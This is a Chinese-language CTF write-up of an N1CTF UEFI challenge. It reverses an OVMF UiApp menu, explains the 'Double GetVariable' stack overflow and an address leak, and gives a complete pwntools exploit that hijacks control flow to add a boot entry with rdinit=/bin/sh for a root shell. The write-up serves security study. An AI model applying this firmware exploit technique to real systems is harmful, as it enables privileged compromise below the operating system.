作者:Rivaille@知道創宇404實驗室
日期:2022年11月10日

周末的時候打了n1ctf,遇到一道uefi相關的題目,我比較感興趣,之前就想學習一下安全啟動相關的東西,這次正好趁著這個機會入門一下。

周天做的時候,一直卡在一個點上,沒有多去找找資料屬實敗筆。

題目分析

先解包OVMF.fd文件,用uefi-firmware-parse這個工具:

uefi-firmware-parser -ecO ./OVMF.fd

簡單看一下解包后的目錄,大致判斷BIOS可能在file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792或者file-df1ccef6-f301-4a63-9661-fc6030dcc880這個目錄中。

通過對UiApp字符串的查找,基本判斷UiApp是在volume-0/file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792/section0目錄下。

連按f12進入BIOS之后,可以看到UiApp一閃而過,然后看到了熟悉的菜單,找找關鍵的字符串,就確定了對應的二進制文件。

現在需要修改一下啟動腳本,讓腳本啟動OVMF.fd之后掛住,然后gdb attach進行調試。

import os, subprocess
import random

def main():
    try:
        os.system("rm -f OVMF.fd")
        os.system("cp OVMF.fd.bak OVMF.fd")
        ret = subprocess.call([
            "qemu-system-x86_64",
            "-m", str(256+random.randint(0, 512)),
            "-drive", "if=pflash,format=raw,file=OVMF.fd",
            "-drive", "file=fat:rw:contents,format=raw",
            "-net", "none",
            "-monitor", "/dev/null",
            "-s","-S",
            "-nographic"
        ])
        print("Return:", ret)
    except Exception as e:
        print(e)
        print("Error!")
    finally:
        print("Done.")

if __name__ == "__main__":
    main()

了解過操作系統的朋友們應該知道,操作系統的加載過程分為三步:BIOS固件(或者說是UEFI)的內存地址是寫死的,通過BIOS加載bootloader,再通過bootloader去完成對操作系統鏡像的加載。gdb attach之后,我們看到程序斷在了0xfff0地址處,這個應該就是BIOS的基址了。

漏洞分析

進入UiApp之后沒有直接到Boot Manager界面,而是到了菜單界面,猜測一下這是需要解題者hacker掉這個菜單,劫持控制流到BIOS中可以獲取高權限shell的地方。通過查找關鍵字,鎖定了目標程序:file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792\section0\section3\volume-ee4e5898-3914-4259-9d6e-dc7bd79403cf\file-462caa21-7614-4503-836e-8ab6f4662331\section0.pe

通過winchecksec查看開啟的保護機制:

然后通過關鍵字很快就定位到了出題人加的菜單函數中,但是很煩的事情是,我發現ida不能正確識別函數參數:

反匯編之后的結果成了這個鳥樣:

通過查找資料以及逆向分析,還原出了gRT這個結構體,其中有兩個比較重要的成員函數:gRT->SetVariable將棧中的值寫入鍵值對,gRT->GetVariable將鍵值對中的值拷貝到棧中。經過分析,大概判斷是要通過gRT->GetVariable來實現棧溢出,完成對控制流的劫持。

但是溢出點在哪里呢?當時在比賽過程中一直卡在這兒,最失誤的一點就是沒有多google一下,一直在蒙頭做題。在賽后和Mr.R師傅交流的過程中,得知這道題考察的是UEFI中一種常見的漏洞模式:Double GetVariable

漏洞原理是這樣的:GetVariable在第一次從nvram取值寫入棧中時,如果nvram變量的長度不為1datasize的長度會被改寫為對應nvram變量的長度。第二次調用GetVariable函數時,如果對datasize未做初始化,就有可能造成溢出。

相關漏洞可以參考一下這篇文章:https://binarly.io/advisories/BRLY-2021-007/index.html。(比賽時候還是得多google一下)。

回到Encode函數,我們看到函數從N1CTF_KEY中取值寫入棧,然后和buffer中的值進行異或運算。而Add函數可以重新寫入nvram變量,且寫入的字符串最大長度為256字節,就是說我們可以通過Add覆蓋掉之前定義的N1CTF_KEY1N1CTF_KEY2N1CTF_KEY3這三個變量的值。我們覆寫N1CTF_KEY1的值為a*0x1c,覆寫N1CTF_KEY2的值為a*0x18+p32(boot_addr),然后設置一個nvram變量OVERFLOW,使其長度為0x11個字節,然后進入Encode函數,對OVERFLOW的值進行編碼,這樣第一次讀取N1CTF_KEY1改寫datasize,第二次讀取N1CTF_KEY2就可以溢出到函數的返回地址處,劫持rip寄存器,使其跳轉到boot manager的設置界面,獲取root shell

這里的pwn函數就是出題人加的存在漏洞的函數,我們可以把控制流劫持到后面的else的基本塊中去,然后應該可以正常進入Boot Manager的界面。

動態調試

首先要確定UiApp加載的基址,一個很好的辦法是對內存中特定的指令序列進行搜索,比如說我們在ida里面找到這條指令。

第二個地址減去偏移就是程序的基址。

調試的過程中會發現一個問題:雖然winchecksec檢查程序沒有開啟aslr,但是實際上UiApp的加載基址是在變化的。所以需要泄露.text段的一個內存地址,才能成功把返回地址覆寫成boot manager對應的地址。

在調試的過程中,我發現當Add設置的字符串長度等于256個字節時,會打印出一個地址。通過多次嘗試,我發現這個地址和UiApp的基址的偏移一定程度上是固定,為0x1d009c0或者0x1e009c0,通過泄露出的地址減去偏移實際上也就得到了UiApp的基址。

漏洞利用

和圖形化界面進行交互,pwntools確實還存在一些問題,所以可以通過socat來進行連接。最終exp如下:

from pwn import *

context.log_level = "debug"
context.arch = "amd64"

boot_offset = 0x235A
uiapp_offset = 0x1e009c0

DEBUG = 1
if DEBUG == 1:
    '''
    fname = "/tmp/uefi"
    os.system("cp OVMF.fd %s"%fname)
    os.system("chmod u+w %s"%fname)
    '''
    p = process([
            "qemu-system-x86_64",
            "-m", str(256+random.randint(0, 512)),
            "-drive", "if=pflash,format=raw,file=OVMF.fd",
            "-drive", "file=fat:rw:contents,format=raw",
            "-net", "none",
            "-monitor", "/dev/null",
            #"-s","-S",
            "-nographic"
        ])
else :
    p = remote("47.243.105.43","9999")

LOCAL_REMOTE = 0
if LOCAL_REMOTE:
    os.system("socat $(tty),echo=0,escape=0x03 SYSTEM:\"python ./exp.py \" 2>&1")

key_map = {
    "up":    b"\x1b[A",
    "down":  b"\x1b[B",
    "left":  b"\x1b[D",
    "right": b"\x1b[C",
    "esc":   b"\x1b^[",
    "enter": b"\r",
    "tab":   b"\t"
}

def send_key(key,times = 1):
    for _ in range(times):
        p.send(key_map[key])
        if key == "enter":
            p.recv()

def add(Keyname,Keyvalue):
    p.sendlineafter("> \n",str(1))
    p.sendlineafter('Key name:\n',Keyname)
    p.sendlineafter('Key value:\n',Keyvalue)

def delete(Keyname,Keyvalue):
    p.sendlineafter("> \n",str(2))
    p.sendlineafter('Key name:\n',Keyname)

def Encode(Keyname):
    p.sendlineafter("> \n",str(4))
    p.sendlineafter("Key name:\n",Keyname)
    p.recv()

def exp():
    # leak UiAPP address
    p.sendline("\x1b[24~"*10)
    p.sendlineafter("> \n",str(1))
    p.sendlineafter("Key name:\n","N1CTF_KEY3")
    p.sendafter("Key value:\n",'a'*256)
    p.recvuntil('Encode\n> \n')

    p.sendline(str(3))
    p.recvuntil("Key name:\n")
    p.sendline('N1CTF_KEY3')
    p.recvuntil('Value: \n')
    p.recvuntil('a'*256)
    data = p.recvuntil('\n').strip('\n')
    leak_addr,i,j = 0,0,0
    while i < len(data):
        print(data[i])
        if data[i] == "\\":
            n = int(data[i+2],16)*0x10 + int(data[i+3],16)
            i += 4
        else:
            n = ord(data[i])
            i += 1
        leak_addr += n * (0x100**j)
        j += 1

    uiapp_base_addr = leak_addr - uiapp_offset
    log.success("leak address: %s"%hex(leak_addr))
    log.success("UiApp address: %s"%hex(uiapp_base_addr))
    boot_addr = uiapp_base_addr + boot_offset
    pause()

    # statck overflow
    payload = 'a'*0x18 + p32(boot_addr)
    add("N1CTF_KEY1",payload)
    add("N1CTF_KEY2",payload)
    add("OVERFLOW",'a'*0x11)

    p.recvuntil("> \n")
    p.sendline('4')
    p.recvuntil('Key name:\n')
    p.sendline('OVERFLOW')
    # Add option,get root shell
    p.recvuntil(b"Standard PC")
    send_key("down", 3)
    send_key("enter")
    send_key("enter")
    send_key("down")
    send_key("enter")
    send_key("enter")
    send_key("down", 3)
    send_key("enter")
    p.send(b"\rrootshell\r")
    send_key("down")
    p.send(b"\rconsole=ttyS0 initrd=rootfs.img rdinit=/bin/sh quiet\r")
    send_key("down")
    send_key("enter")
    send_key("up")
    send_key("enter")
    send_key("esc")
    send_key("enter")
    send_key("down", 3)
    send_key("enter")

    # root shell
    # p.sendlineafter(b"/ #", b"cat /flag")
    p.interactive()

def main():
    exp()

if __name__ == "__main__":
    main()

參考資料

https://www.anquanke.com/post/id/243007#h2-0

https://eqqie.cn/index.php/archives/1929

https://github.com/topics/uefi-pwn


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2010/